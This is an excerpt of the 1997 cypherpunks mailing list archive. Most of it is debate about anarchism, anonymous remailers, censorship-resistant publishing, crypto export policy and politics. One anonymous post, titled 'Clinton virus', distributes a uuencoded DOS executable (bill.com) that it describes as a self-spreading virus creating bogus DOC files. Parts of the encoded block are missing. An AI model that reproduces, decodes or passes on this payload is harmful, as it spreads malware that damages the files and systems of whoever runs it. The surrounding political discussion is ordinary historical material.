vast sums of money automatically withheld from our paychecks,
yet the public has consistently refused to hold the government
accountable for what it does with the money.

the question is not "how do we hold the government accountable for
our cash" but, "*when* will we"?

again, TCM's total withdrawal is obviously not a solution.

anyone who disbelieves in the authority of the US government
yet sends them their tax money is a hypocrite.

perhaps that US government is a waste of time and effort.
but anyone who sends their cash to it are supporting it.
by withdrawing and still sending your cash, you have put
yourself in the worst possible position, the one that
the US Govt parasites would prefer above all others.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sat, 17 May 1997 02:58:16 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: The Inducement of Rapid Oxidation of Certain Materials....
In-Reply-To: <19970514112959.12839@bywater.songbird.com>
Message-ID: <Pine.LNX.3.91.970515183505.3061A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > No, there is a distinct and marked difference between the absence of 
> > government and the presence of lots of different governments, the reason 
> > for war in Rwanda is because there are a number of rival factions all 
> > competing to gain power, a true anarchy has no government whatsoever.
> > Rwanda is an example of undecided government, not no government.
> 
> Roving bands of thugs are not the same as an "undecided government".

Roving bands of thugs are called LEAs.

Flippant comments aside your comment above is almost entirely without 
substance, and what little substance it does have is simply not true.
Roving bands of thugs are, of course, the same as undecided government, 
any faction competing for power will use unethical means to obtain it, as 
the desire to gain power is immoral in itself.

> >> "anarchy n. the absence of government or control, resulting in 
> >> lawlessness. 2. disorder, confusion" -- Oxford American Dictionary
> >> 
> >> Which part of that would you say didn't apply to Rwanda?  
> > 
> > The entire first definition, there is no absense of government in Rwanda, 
> > merely a number of different prospective government.
> 
> Your sentence is an oxymoron, a self contradiction.  A "number of
> different prospective governments" are *not* the same as "a
> government".  Claiming to be a government is not the same as being a
> government. 

Quite so, but this is not my point, my point is that Rwanda is not an 
anarchy in the normal sense, it is chaos. This might be a dictionary 
definition that does not make it a real definition, I will not argue 
semantics with you anyway, you know what I mean by anarchy, if it makes 
you happy read "absence of any government" for anarchy, anarchy is not 
chaos, regardless of what the dictionary might say.

> > Also, the definition of anarchy is flawed in that it suggests that the 
> > word refers to the lack of government leading to lawlessness, my 
> > definition, and I would imagine the definition of most members of this 
> > list, is that anarchy is the absense of government period. Just because 
> > the law we refer to doesn`t suit you does not mean it is not a valid system.
> 
> You are free to use the word anarchy to refer to asparagus if you 
> wish.  However, the meaning I used is *the* common English meaning.  

Not at all, the original meaning is derived from the latin, "an-archy", 
the absence of an "arch" where arch is taken to mean a higher level, eg. 
a government.

The common meaning is, as you say, used to refer to chaos and lawless 
disorder, this has developed in much the same way as for example the word 
"gay" once refered to being happy, and is now more commonly used to mean 
homosexual.

Your bastardised definition is wrong, plain and simple, you know what I 
mean by anarchy, it`s irrelevant really anyway, we are arguing about 
whether anarchic society can be stable, rather than the specific meaning 
of the word anarchy.

> > > In fact, the correlation between anarchy and war is very strong, for
> > > obvious reasons.  Perhaps that is why most intelligent people don't
> > > consider anarchy a desirable state of affairs. 
> > 
> > Cite?
> 
> Cite what? The obvious correlation that you agree to below? Or do you
> think I need to do find a study that shows that intelligent people
> don't consider an anarchical situation such as the Rwandan collapse a
> desirable situation?

No cite examples of the correlation between my definition of anarchy, ie. 
no government, and war.

> > The correlation between your definition of anarchy and war is obvious, if 
> > you define anarchy as "A lack of government leading to lawlessness" you 
> > are obviously going to see a correlation between this and lawlessness!
> 
> That's not *my* definition, it's *the* definition, as described in a
> standard, reputable dictionary.  I realize that you have your own
> private definition of the term, that you share with your friends and
> an esoteric community.  However, I am not a member of that community, 
> so I use the standard meaning.

No, you use an incorrect meaning that has developed due to commonly held 
misconceptions about the "need" for government. 

Anyway, whether your definition is the correct one or not, the point is 
if you define anarchy as lack of government leading to lawlesness you 
will clearly see a link between this and lawlessness! - you cannot just 
define your views into the meaning of a word!

> > I could counter argue that the correlation between government and war is 
> > irrefutably stronger but then I would be playing your little game, and I 
> > don`t want to get drawn into that.
> 
> Of course there is a correlation between government and war.  There is
> a correlation between people and war, between use of guns and war (so
> clearly we could eliminate war by eliminating guns), economics and
> war, etc etc.  Correlation is not causation. 

Of course, but this is all beside the point, the evil of government is 
not that it kills or makes war, it is that it infringes the rights of 
citizens by assuming a position of superiority over them.


> > Your comment that most intelligent people consider that anarchy is not a 
> > desirable state of affairs does not even deserve comment, democratic 
> > arguments for or against anarchy are completely irrelevant and futile.
> 
> Gosh, I thought you weren't going to comment...

I didn`t comment, I made an observation about the general case and not 
your specific statement.

> Of course, democratic arguments for or against dictatorship are 
> completely irrelevant and futile, as well.  Just out of curiosity, 
> what the heck is a "democratic argument", anyway?

I would say you attempt to justify your position that anarchy is not 
desirable by stating that most intelligent people feel the same is a 
democratic argument.

This is clearly a democratic argument as it assumes that an idea without 
merit suddenly assumes merit if it is supported by a large proportion of 
the population or some subset thereof.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Fri, 16 May 1997 11:27:48 +0800
To: cypherpunks@toad.com
Subject: Clinton virus
Message-ID: <199705160150.SAA13427@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


The Clinton virus! 
Makes bogus DOC files randomly as it spreads....


section 1 of 1 of file bill.com  < uuencode 96 (v56) by R.E.M. >

begin 644 bill.com
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MH$X`M,(+/9>Y`@`\N@&BO)KJB>'AE>$:^+/9Y8WA-/[_4(SC3`!:6":`?3``
M=!(>C=]X53`&'S/)#[H&#NL1DN&;Q^+,)HD%BT86X@1TK5]#[+31=0XCZ2?L
M<][R0\LG[^@<Y!<B[0DBZFH_X7ODM>)W_`90Y,.T/[IDA/V4!;FZ9?"UZ-S_
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MB0X2IN3_H2%XV@68#F[^2J0A5'RD"*K\\_+W`\J+T*MW'K-"'OU=ND3RQ5<$
MZ:FT0=4JM_+G]2KQ,[<&,[0T\!J$K$Y]V;16O`5S\A0>C7;QAQ>Q<X/',/RL
MJM*K`'7Z'Q>RV:NLZ;,#A$GH2=>',,OAPCP#:0!R)4N[^RS_?P`S__PF.@5T
M![G___*NZ_2X<+T#B_<$L?21]M#=$/>IV>G\JDZQ'[$".@W4TN7!D\O$OX#_
M_\&*#3+M1S/;XPDF@#T@=P.#^4?B]\7S_';SQRN_`\9T!$-*==X9ZH'LSH;C
M5X!7BD8,70;A_[09<_[`BM`$0(@$1L>_1P0Z7$9&M$?0\L8$`-@4P(>QX:(O
M7\(?2D,FB`'B]?L=)_@)/_ZOZ&$`BT:`WRJ`_#IU;Z`@)-\L07#!#KJC#?\Z
MPBWL#P8+@'Z"`'0%5_ZT.^A+_:,5X[\@`+0Y#5?H-NOX#@OK.N@AZ_UH]+#O
M2)NB?SZI?YB+R"BK'Q#]PS!6,#/VP_R+W/U&C-I@YJRJBL@R55K:O"'NYOSJ
M"N(&-O'1K-]".L%V`HK!W/@)"MS]X`Q<_-@(BH"YV`8+R7__$P.Y`0`#\2O!
M<A-`QGRX[GT",\D[P0:+P0G+R)JJ<K\(O__^#X%C\ZPF``5S"";&!?\?=)7V
MT`/Y1Y%O_?Z;=@J_]*/S+(K0,O;*PLTKRG+__QQ!1ZSRKG45B\>+V8O*2?-_
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M)J9U`CK2O\1C_@2P`:HVBD<$JD91L^E1_@J_[/'K-OT='MR3#8D"@VP!?07'
M:NV3`2J-'>D&@X.8X4CMJ<O0Y?[N#E3:`_]7A-\+0_]V!AF2ZJS^_.GDL-WL
M"/1X_CW`+O(,H?@*`'Y<^F-^`896@?K-?T_YD,`&^7Z-^8WX$+08"(U8_I;X
M"NP#&FO54)+\/I)[DOSO_`FVWY$'Y7_7B8D-N``]9;SOK0VP`O\%$MP"M#R:
MTPF;T?_:$<%:B06X"P2ZJ(NCT_POM=KPR43D]L*`N&#EE]FSK]IU%,%?R2L`
MN#O/_O\_MM&RUXE%%(E5%HE-&(E=&ARB[QR`!/L>X0/VG[LSTMFQ`F;9+8"W
M.@"#V@`^B<"GR4[93]V-E00+Z+G]$;QSGND?_ZH[V'0@@.P:=`-#Z_)7\HO3
M*]#2V;K]L1?2P^@(OUH6N#;W9P2+P0]]^/P#P8/2Z\(3\>@]`)/__Y^IN2``
M]L:`=0K1X]'2_LA__^+S,L"`YG_+>^'-/)\&E@W'P\TW!C[UF`:2]36_#_W-
M.=G-/<MKD4_@_Z''/^B+'D`'+O<FS@W1X?T8_@+I`]$#T[7C?ACZ`O.Q!=/C
M^@4!(`PLC:/2B1;??M+#!82T+(:1#O'\RXO/O@KX/[W:"]MY$??;]]B#VP3_
M:0>CX>$M0<,STI/Q'_?V_8#",(#Z.G(#PO_X!^:(%8O0"]-UXRMZC\^]D<;Q
M]N-=(MDK=`?_^/HM=05.1TET3/4D=$C_PR:*'8#K.H##"G,E'_`/$W4V4]'@
M'E)0^OT'_%L#PUL3TULR__C\_V%'XM"+V`O:=`\+]GGC?P?WVG;:`#/R>`'#
M^<-,XZ[ZM/MA?>L.X2"L_'(+^!?X!G,X_<GSMP2O<M3^SW5A^_8*T.+1N_@*
M^)?2@^P@__^+1@Z+5A"-?@`6!^@)_QZ+&O[WXLJUN0;G##O"?@*+X\/".\KZ
MRCO!??K!_:_\JE^I"%&+R+`@\ZI9%=%J/]KG?GH;TRK4=2K2Z/3^<@*\N_"+
MSRM.^:$STL?:B0W_#QCJOU(`'@>YJI<KS]'IK^OF_/.KP\=P"O_X"O__Z/@5
M__@6$%!70/R@(:%)R0(`P9'_^`P!``#P`````$D(````0!@+&0&<`/L!!@X?
MBPX,`(OQ3HGWC-L#'@H`CL/]\Z13N"L`4,LNBRX(`(S:B>@]`!!V`[@`$"G%
M*<(IPX[:CL.Q`]/@B<'1X$A(B_"+^/.E">UUV/R.PH[;,?8Q_[H0`*V)Q='M
M2G4%K8G%LA!S`Z3K\3')T>U*=06MB<6R$'(BT>U*=06MB<6R$-'1T>U*=06M
MB<6R$-'104&LM_^*V.D3`*V+V+$#TN^`S^"`Y`=T#(CA04$FB@&JXOKKIJP(
MP'0T/`%T!8C!0>OJB?N#YP^!QP`@L033ZXS``=@M``*.P(GS@^8/T^N,V`'8
MCMCI<O\J1D%"*@X?OE@!6X/#$(G:,?^L",!T%K0``<>+QX/G#[$$T^@!PH["
M)@$=Z^6M"<!U"('"_P^.PNO8/0$`==J+PXL^!`"+-@8``<8!!@(`+1``CMB.
MP#';^H[6B^?[+O\O#$$*#Q$1*Q<%#P44$Q,%!103!1DC(`X)%`H%&2\*#@D:
M$@X0"@X*!045#P4/!0\%!04'#A\%%141$Q`*#A,;!103%@\/(!D*!0\*!1,3
M!0X%2@X%&`48!0H%"@4/"@42"@43#@4*!0X.0!4/!0\%#P4%!3`)"1H0"@X/
H"@42!04*!0X9!0D9)@\8"A$/#@4+`(\!7@`:`0#U`0!Y"1L6'P`!``
`
end
sum -r/size 3228/6963 section (from "begin" to "end")
sum -r/size 14922/5035 entire input file







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 16 May 1997 02:26:20 +0800
To: paul@fatmans.demon.co.uk
Subject: Re: Eternity server considerations and musings
In-Reply-To: <Pine.LNX.3.91.970513165201.835A-100000@fatmans.demon.co.uk>
Message-ID: <199705151813.TAA01081@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley <paul@fatmans.demon.co.uk> writes:
> The main method used by governments around the world so far to
> attempt to censor information has been the use, or proposal of,
> proxy servers for whole countries or jurisdictions.  This method has
> only thus far been used to censor www connections, and has been used
> to censor specific sites, hence the use of mirroring to circumvent
> government censorship.

One of the main considerations in the design of my eternity server was
the idea that there was information which might get published via
remailers, but would be unlikely to get published on a web page
directly.  Eternity translates the ability of publishing via a
remailer into the ability to publish on the web.

An example is perhaps the NSA handbook, or Mykotronix dumpster diving
results.  These sorts of things tend to arrive via remailer, and then
get mirrored afterwards.

There will also be some class of documents which are too hot to mirror
at all, or where the censor is litigious enough (Scientologists?) to
present a real danger to it's ciritics, and to mirrorers of the
criticisms.

A question then is could a censor systematically block all eternity
search engines effectively.  I think this would be relatively easy,
the design does not really attempt to deal with site blocking
directly.

The URL always includes "eternity" so is easy to block.  You could
perhaps provide an option for a public key encrypted URL.  Or lookup
by the SHA1 of the URL directly.  An SSL session would also help, the
cgi-binary accepts both post and get methods.  However ultimately, the
eternity servers will be advertised, and so the censors just need to
keep track and block all the advertised servers.

However there is another option: all the data is available in USENET
anyway, so anyone can run an eternity search engine for their own use
in a shell account.  To block this is more difficult.

> [blocking USENET, key word searches, recognizing encrypted data]

Use stego solves this (as Bill Frantz observed).  Do a web search on
`texto', it's a nice simple text stego program.

Another interesting fact is that they can't block the traffic unless
they have decrypted it.  As the data can be encrypted with the SHA1 of
the URL, they won't necessarily recognize it as an eternity web page
until it gets accessed or the URL advertised, by which time it is too
late.  The URL can be smuggled in and passed around more readily.

> [a censor can provide a censored USENET feed for their country, they
> can't provide a censored WEB feed because it's too large]

WEB mirroring is useful where the data being mirrored is illegal in
someone else's country and you are trying to stay one step ahead of
the censor.

Eternity means you can publish material which is illegal or
dangerous/unpopular to publish in your own country.  

> [...] it would be nice to see a more robust system which thwarted
> all attempts to censor without the need for human intervention by
> mirroring sites etc.

Sounds like something that could be addressed by building on the
rotating mirror idea William Geiger has been talking about.  Perhaps
you could have an apache module which provided a proxy service which
allows encrypted and steganographically encoded URL passed to it, and
encrypted, stego web pages passed back.  Combine with some unstego
method on the receiving end, and lots of people using apache with this
option turned on, and the censor would have one heck of a problem on
their hands.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 16 May 1997 10:54:53 +0800
To: "'cypherpunks@toad.com>
Subject: Re: Anonymous Remailers
In-Reply-To: <01BC603F.4B529240@pc1901.ibpinc.com>
Message-ID: <19970515192926.34411@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, May 14, 1997 at 11:30:36PM -0800, Tim May wrote:
> At 9:25 PM -0800 5/14/97, Kent Crispin wrote:
> 
[...]
> 
> Collusion between a carefully--or even randomly--selected chain of, say, 20
> of these various and mutually-hostile groups would seem to be "unlikely."
> 
> Kent, stop babbling and spend a few hours reading up on the basics of how
> remailers work, the issues of collusion, and the discussions we've had for
> several years on these issues.

Hmm.  I did read, and I thought I understood this.  I claim that if
the remailers collude, then there in no anonymity.  Correct? Even if I
insert my own remailer in the list it doesn't help, if the others are
all in cahoots.  This seems pretty obvious.  They all compare logs, 
and saved copies of the messages, and my message can be tracked from 
beginning to end.  Right?

I see a list of remailers posted on cypherpunks periodically -- a
"cypherpunks" approved list, therefore.  Lucky Green admits publically
that he personally knows several of the remailer operators.  And 
clearly, remailer operators must share a common ideological focus...

There might even be a few honest remailer operators out there, but
undoubtedly they have been heavily diluted by those that are part of
the cypherpunks conspiracy.  So the odds of picking a colluding
remailer chain are pretty high.  When I send my mail the first one in
the chain will notice mail from songbird, and alert his buddies.  If
an honest remailer is in the chain the mail will conveniently be lost,
of course.  Only chains composed of co-conspirators will allow my mail
to get through... 

You will probably say that this was an insane conspiracy theory, and
that I don't understand how the remailers operate, and how
ideologically different the operators all are.  You might think that I
am ignorant, or being facetious, or that I am really just out of touch
with reality. 

But, on the other hand, you should be very familiar with this mode of
thought -- it is so similar to your "analyses" of the "gubmint".  You
are quite fond of clever caricatures, of sly and subtle inuendo, of
imputing slimy motives and conspiracies, of looking at the worst
in people...all justified by righteous anger, of course.  Of course,
to you righteous anger justifies murdering babies...("Broken eggs, and
all that." -- TCM)

However, it's not my prefered mode of thought, and I can't sustain it
for long: It does seem fairly unlikely that a large percentage of
remailers collude, and in theory it is probably fairly safe to send
through them.  At this time I can't really think of anything I have to
say that requires anonymity -- my comment to Lucky was intended to be
a light-hearted reference to my humble stature among the cypherpunks. 

"Negativity is an easy habit, often confused with sophistication."  
-- Anne Beetem

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Fri, 16 May 1997 10:28:48 +0800
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: [CRYPTO] Blowfish
In-Reply-To: <199705151850.OAA02276@dhp.com>
Message-ID: <Pine.A41.3.95.970515200303.62212B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain




I think Vulis needs each of us to send ten copies of this back
to him.                                                          
   On Thu, 15 May 1997, lucifer Anonymous Remailer wrote:

> Here, Tim C. May descends into total inanity. He should have a cold 
> shower and/or a Turkish coffee.
> 
>           ___\
>          <o   \__o  Tim C. May
>           X\     X>
>         _/_\____<_\_
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 16 May 1997 11:32:54 +0800
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Just Say "No" to Congress
In-Reply-To: <v03007802af9fa094e283@[207.167.93.63]>
Message-ID: <v03007805afa190790dd7@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 5:22 PM -0800 5/15/97, Greg Broiles wrote:
>At 09:13 AM 5/14/97 -0800, Tim May wrote:
>>Feinswine/Swinestein is the most despicable of all the politicians in
>>Congress. (This is not just ideology speaking...her usual-ally Barbara
>>Boxer is much less swinish, and even has some independent thoughts. I can't
>>see I often agree with Boxer, but she's not the Big Sister automaton that
>>Swinestein is.)
>
>FYI, Boxer is now (as of 5/12/97) a cosponsor of Sen. Leahy's ECPA/1997
>(Encrypted Communications  Privacy Act of 1997) - that's the bill with the
>complex structure for "voluntary" key recovery and criminal penalties for
>use of crypto  "in furtherance of" felony.
>

As I said, I am no ideological ally of Boxer. Her style is less swinish, to
my way of thinking, than Feinstein's is.

(In much the same way I find Stewart Baker, formerly of the NSA, less
irritating than Dorothy Denning, though of course Baker is proably more
dangerous than Denning.)

Both Boxer and Feinstein are ideological peas in a pod, of course.
Stylistically, and perhaps as human beings, they are far apart.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 16 May 1997 11:57:51 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: MSNBC poll on crypto
In-Reply-To: <v03007807afa123f9eedd@[168.161.105.191]>
Message-ID: <v03007806afa1921a6fd1@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 5:55 PM -0800 5/15/97, Declan McCullagh wrote:
>Should the United States
>       remove restrictions on
>       the export of powerful
>       encryption technology?
>
>       * 283 responses
>
>       Unequivocally yes (84.1%)

You left out the very next question:

Should the United States allow unbreakable, military-grade cryptography to
be used undetectably by child pornographers, terrorists, and money
launderers?

         * 283 responses

         Unequivocally "No" (93.4%)


You see, it all depends on how the question is asked. I have long argued
that Americans are split, simultaneously, between two opposing world views:

"What have you got to hide?"

and

"None of your damned business."

Depending on the issue, or how the issue is phrased, either view may surface.

I certainly don't trust opinion polls. If MSNBC conducts a similar poll
after an Oklahoma City type of event, which we all have reason to suspect
is about to happen in the next six or seven months, and crypto is found to
be involved (seems likely), we can expect an opinion poll which arrives at
the "What have they got to hide" conclusion.

So?

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 17 May 1997 00:10:04 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: The Inducement of Rabid Anarchism in Certain Materialists...
In-Reply-To: <19970514112959.12839@bywater.songbird.com>
Message-ID: <3.0.1.32.19970515211039.005f2e68@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>> > That's not *my* definition, it's *the* definition, as described in a
>> > standard, reputable dictionary.  I realize that you have your own 
>> > private definition of the term, that you share with your friends and 
>> > an esoteric community.  

Sigh.  Calling something "*the* definition" of anarchy, when it's not
the definition anarchists use, doesn't cut it.  I realize that 
statists have convinced lots of people that "anarchy" means
"a bunch of bomb-throwing terrorists are going to run down the street
and kill your mama", but that's because they want to be in charge -
or at least have SOMEBODY be in charge, since they don't trust people
to act civilized without rulers who'll kill them if they don't behave. 

Whether you think anarchism *will* lead to bomb-throwing terrorists,
or in general whether it's a good or bad idea, is a separate argument.
But anarchists _ought_ to own the definition.  (Now, if you want to
split the anarchists by bringing up the propertarian vs. non-propertarian
issue and discuss whether "no property" is part of the definition
of anarchy or only a popular anarchist view, you'll end up with chaos (:-)
Around here you'll find mostly arachno-capitalists who think that
property is just fine, though not everyone agrees.
Over on soc.culture.anarchism, you'll find a lot more non-propertarians,
and an on-going squabble about Libertarianism.

One of your more interesting comments was on whether you can separate
the concepts of society and government - a fairly common view of 
government is that it needs to have a monopoly on the use of force to
preserve order, and therefore needs to have tax funding to exist,
and since you've got it around anyway you might as well use it for
things that are easiest to do in a centralized manner, and to do
things that require either social cooperation or lots of money;
a society like that will find government intertwined in its civil affairs,
and people will get out of the habit of organizing their own actions
without using government as a focus.  Other societies have used 
religious organizations to perform many of the same social functions -
if everybody's getting together weekly anyway, might as well talk about
the problems that have been going on, and raise the money needed to
feed the poor and patch the meetinghouse roof.  And other societies
have just done these things on a more individual basis, especially
in sparsely populated areas where there aren't outside invaders.
Of course, now that governments have taken over most of the world,
it's hard to find a place without outside invaders...

But people are still going to teach their kids what they need,
and people are still going to keep most of their agreements with
their neighbors, and they're still going to help each other resolve
arguments about the agreements that weren't kept, whether that
resolution is done by an armed posse, or by the offender's family
paying off the obligation in cattle, or by shunning people until they
do the right thing, or refusing to give credit to known deadbeats,
or whatever.  Government's only one choice.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 16 May 1997 12:33:52 +0800
To: cypherpunks@toad.com
Subject: Re: Just Say "No" to Congress
Message-ID: <199705160411.VAA21253@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh wrote:
> Tim wrote:
> > We're basically under assault from all directions. The bozos in Congress
> > and state governments are spinning out new laws and obscure regulations
> > faster than we can react...and of course they're using our money to
> > generate these laws and lobby for them. Further, a mostly-brainwashed
> > Washington media population is surprising uncritical of these blizzard
> > drifts of new laws.

> Hmmm... Do I get counted in the "mostly-brainwashed" category?
> 
> FYI, here are two bills that Feinstein introduced recently:

  I think you just showed the answer to the question is "Yes."
  Politicians build a house of mirrors with bills that they
"introduce"--agencies that they "propose" be funded--causes
that they "support."

  I'm not interested in a reporter quoting "the record" to me.
I can get that from Feinstein's glossy handouts. I want to know
what a politician has *done* for me (or against me), not how 
much she purports to *love* me.

  I enjoy many of your articles, Declan, but please--no more
"Senator XYZ introduced a bill that supports mom's apple pie
and the flag." tripe.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 16 May 1997 13:02:48 +0800
To: cypherpunks@toad.com
Subject: Kansas City.
Message-ID: <199705160432.VAA22270@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


  A new scheme to broadcast the names and faces of people arrested
for trying to buy and sell sex could mushroom into a full-fledged
challenge to U.S. constitutional law.
  Starting Thursday, a local government access cable television channel
will broadcast the names and faces of people arrested for
prostitution-related crimes. The first half-hour installment will feature
mugshots of alleged purveyors of sex and the customers who offered to pay
for it.
  Supporters of the plan hope that such public humiliation will help
efforts to crack down on prostitution. But opponents say it violates the
principle of ``innocent until proven guilty,'' a key tenet of U.S.
criminal law.
  ``The city is setting out to punish with ridicule people who have not
been convicted of anything,'' said Dick Kurtenbach, executive director of
the American Civil Liberties Union (ACLU) of Kansas and western Missouri.
``The presumption of innocence is really turned on its head with this
scheme.''
  Both supporters and opponents say that although U.S. media groups
regularly publish the names of people arrested and charged with crimes,
this may be the first time a government entity broadcasts the identities
of alleged wrongdoers.
  ``As far as we can tell, this is the first jurisdiction that's putting
on TV names of people arrested. This is a fairly novel approach,''
Kurtenbach said.
  The plan was the brainchild of City Councilwoman Teresa Loar, who said
she hopes it will deter prostitution and the social ills -- drug use,
assault and robbery -- that commonly accompany it.
  ``I'm not here to persecute people. I just want them to know that they
run the risk of having their picture on the access channel if they try to
hire a prostitute,'' Loar said.
  Loar said she is aware of ACLU's criticisms, but she counters by saying
that arrests are a matter of public record. She noted that a disclaimer
will say that those people pictured are innocent until found guilty in a
court of law. 
  When asked why the city does not air the names of people actually
convicted of prostitution, Loar explained that few arrests in prostitution
sting operations actually lead to convictions. 
  ``Showing convictions wouldn't work -- because we don't get any. They
(the accused prostitutes and would-be customers) plead their way down and
pay a fine,'' Loar said. 
  Loar said she understands the idea of constitutional rights but feels
her constituents' rights are more pressing.
  ``As far as victims' rights go, my concern is my constituents' rights to
quality of life. Their rights are being violated every day with this
crime,'' Loar said.
  Constitutional law experts acknowledged that those people whose names
and faces wind up on television could sue the city but would probably lose
any claims alleging defamation or invasion of privacy. 
  But Doug Linder, law professor at University of Missouri-Kansas City,
said it may be possible to claim that the broadcast constitutes a form of
punishment, which legally has to be meted out through due process of law.
Plaintiffs could sue on the grounds that they were not given due process
to defend themselves, Linder said.
  ``One could argue that it is a form of punishment if the police
department or the city is providing their pictures,'' Linder said. ``These
people should have the opportunity to prove their innocence. I think there
might be a real constitutional claim there.''






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 16 May 1997 23:58:40 +0800
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: microstock market
In-Reply-To: <199705150015.RAA27036@netcom22.netcom.com>
Message-ID: <3.0.1.32.19970515213401.002ec988@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 05:15 PM 5/14/97 -0700, Vladimir Z. Nuri wrote:
>ultimately what cyberspace does in many ways is decrease
>the "granularity" of economic transactions.
...
>increasingly, I think you will see very small companies have
>stocks. you will also see a much better means by which an
>investor can judge the value of a company. the assets will
...
>what would be neat is if one could invest in very small
>companies or ideas. 

Really interesting post!  I think the net will simplify the
ownership issues and the publicity issues long before it
makes good information about the value of small companies
easy to get.  That's far more dependent on the personalities
of the players in a company (hard to judge, except in person),
the ideas the company's trying to develop into products/services
(may need non-disclosure arrangements, may need privacy to 
develop in, may not want to waste their time publicizing each
step in their decision processes, contract negotiations are
usually very private, etc.)  

On the other hand, the net can often help those parts of a business.
The Cygnus Support folks have done well in a very open environment.
I recently talked with a headhunter who'd seen my discussion with 
someone on Usenet and wanted an opinion about the guy;
the headhunter was doing a lot of in-depth web searching to find 
people who might be interested or qualified for a position he was
trying to fill.  It's amazing what AltaVista knows about you,
especially with DejaNews around...

Venture capital firms provide some value to their investors
by managing the granularity of the transactions, but they also
add value by providing personal understanding of the companies 
they're evaluating whether to invest in.  Information wants to be free,
or is at least cheap to copy, but providing the personal attention
needed to understand and analyze information and make good decisions on it
is still expensive.  The nets can improve the
information they have available on both the company and the market,
and can provide better information to investors about what 
venture capital analysts are good at evaluating what kinds of businesses.
